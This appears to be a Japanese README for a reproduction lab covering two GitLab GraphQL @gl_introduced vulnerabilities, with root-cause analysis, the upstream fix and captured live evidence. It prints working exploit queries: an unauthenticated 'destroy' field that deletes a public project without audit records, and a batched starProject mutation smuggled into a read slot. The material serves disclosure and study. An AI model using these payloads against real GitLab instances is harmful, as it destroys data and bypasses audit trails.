
2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。
@gl_introduced バージョンフィルターの脆弱性GitLabのGraphQLバージョンフィルター機能(@gl_introducedディレクティブ)に関連する2つのバグの再現ラボです。どちらも同じ機能領域に存在し、同じアップストリームパッチで修正され、いずれもGraphQLリクエストが宣言していないコードパスに到達できるようにします:
@gl_introducedを付けるだけで、任意のGraphQLタイプの背後にあるモデル上で任意のゼロ引数メソッド(例:destroy)を呼び出すことができます。| 影響を受けるバージョン | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| 修正済みバージョン | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| ラボの対象 | gitlab/gitlab-ce:19.2.2-ce.0 (修正前の最後のビルド) |
| トリガー | GraphQL @gl_introduced ディレクティブ、単独またはバッチ内 |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ 配下はすべてアップストリームソースの逐語そのままであり、再実装は一切されていません。ローダーは src/vuln または src/patched を src/common の上に重ねます。
Gitlab::Graphql::VersionFilter::FutureFieldFallback により、クエリは、型にまだ存在しないフィールドを参照してもリクエストが失敗しなくなります。これはローリングデプロイを想定したもので、古いノードのスキーマに、新しいノードがすでに搭載しているフィールドがまだ存在しない場合を対象としています。その get_field オーバーライドは、要求されたフィールドが欠落しているかつリクエストが contain_future_fields とフラグ付けされているかをチェックし、その場合、例外を発生させる代わりに合成フィールドを返します:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
問題は、この GraphQL::Schema::Field がリゾルバメソッドもリゾルバクラスもブロックも持たずに構築されることです。その後、graphql-ruby自身のデフォルトフィールド解決が適用されます(graphql gem 2.6.3、lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym はフィールド名をアンダースコア化したもの、つまり攻撃者がクエリに入れた文字列そのものです。GraphQLタイプの背後にあるオブジェクト(ActiveRecordモデル)に、たまたまその名前の実在するゼロ引数のパブリックメソッドがあれば、graphql-rubyはそれを呼び出し、(型強制された)結果を返します。fallback_value: nil はメソッドが本当に存在しない場合にのみ適用されます。実在するメソッドの実行を止める効果は一切ありません。
つまり、任意のタイプに対して、実際に存在する破壊的メソッドの名前(例:destroy)をフィールドとしてクエリし、@gl_introduced を付けて実行まで生き残らせれば、そのメソッドが実行されます。
IntroducedTracer は、バージョンフィルター機能の残りを2つのgraphql-rubyトレースフック — parse(オペレーションごとに1回)と execute_query(オペレーションごとに1回)— にわたって実装しています。脆弱なビルドでは、トレースオブジェクト上のプレーンなインスタンス変数にオペレーションごとの状態を格納しています:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
問題は、graphql-rubyがマルチプレックスリクエスト内のすべてのオペレーションに対して1つのトレースインスタンスを共有し、すべてのオペレーションを実行前にパースすることです。 したがって、2オペレーションのバッチでは:
parse(op1) → @original_query_document = op1_doc、@contain_future_fields = falseparse(op2) → @original_query_document = op2_doc、@contain_future_fields = true
(op2は @gl_introduced フューチャーフィールドを持つ)パース後、最後のオペレーションの状態だけが残ります。そして実行が始まります:
execute_query(op1) → フラグは true なので、op1のドキュメントはop2_docで上書きされ、再準備される → op1のスロットがop2のオペレーションを実行します。op1 は読み取りを宣言しましたが、実行されるのは op2 の書き込みです。
patch-19.2.2-to-19.2.4.diff は両方を修正します:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Authorization ヘッダーはありません。1オペレーションで、バッチでもありません。destroy は Project の実際のフィールドではありません — スキーマにはまったく存在しません — しかし、ディレクティブによって FutureFieldFilter は静的検証の前にそれを取り除き、実行時に contain_future_fields を作動させ、get_field は destroy という名前のリゾルバなしフィールドを返し、graphql-rubyは project.public_send(:destroy) を呼び出します。
ライブで検証済み(evidence/live_vuln_fallback_field.txt、3つの別々の使い捨てプロジェクトに対して3回再現):パブリックプロジェクトに対して送信したところ、レスポンスは {"data":{"project":{"id":"...","destroy":true}}} でした。その後の認証付きRESTチェック(GET /api/v4/projects/:id)は 404 を返しました — プロジェクトは実際に消えていました。その呼び出しのリクエストログには、同期データベース書き込みが9回、新しい AuditEvent 行はゼロと記録されています:この呼び出しは Projects::DestroyService を完全にバイパスし(それに伴い監査証跡、ウェブフック、通知もすべてバイパス)、GraphQLのデフォルトフィールド解決を通じて直接呼び出される生の ActiveRecord#destroy カスケードです。
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2ペイロード — @gl_introduced ディレクティブは実在するフィールドに付いていればよく、それによってパース時に FutureFieldFilter が contain_future_fields を立ててすり替えを作動させます:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
ライブで検証済み(evidence/live_vuln.txt):query { currentUser { username } } を宣言したスロット1が {"data":{"starProject":{"count":"0"}}} を返し、プロジェクトのスター数が 1 → 0 に変化します。
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)